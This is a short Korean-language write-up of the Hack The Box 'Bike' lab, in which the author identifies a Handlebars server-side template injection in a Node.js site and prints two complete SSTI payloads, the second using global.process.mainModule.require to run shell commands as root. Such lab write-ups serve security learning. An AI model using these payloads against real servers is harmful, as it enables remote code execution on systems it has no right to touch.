Hack the box의 Starting Point 중 Bike 문제를 해결하는 과정을 기록
Tag로 SMB/Javascript/SSTI가 등록된 Bike라는 HTB 머신이다. 머신을 Spawn하면 IP가 떨어지는데 이를 nmap으로 먼저 스캔했다.
80/tcp : Node.js
22/tcp : ssh
OS : Linux
80/tcp에 접근하면 Express 프레임워크를 사용하는 Node.js 웹 사이트를 확인할 수 있고 email을 입력받는다.
태그에 SSTI라니까 일단 SSTI 국룰인 {{7*7}}
을 입력했더니 에러가 출력되며 에러 내용을 통해 템플릿엔진은 Handlebars를 사용하고있는것을 파악할 수 있다.
구글링으로 얻은 handlebars SSTI Payload는 아래와 같다.
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
결과적으로 "require is not defined" 에러가 발생하면서 return require('child_process').exec('whoami');
코드가 실행되지 않는다.
그렇다면 여기서 global 오브젝트를 이용할 것이다. global 오브젝트는 Node.js에서 최상위 전역 오브젝트로 다양한 빌트인 함수들이 포함되어있다.
이를 이용하여 아래와 같이 코드를 수정했다.😁
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return global.process.mainModule.require('child_process').execSync('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
whoami 명령이 실행되었고 node.js를 구동하고있는 계정은 root이다.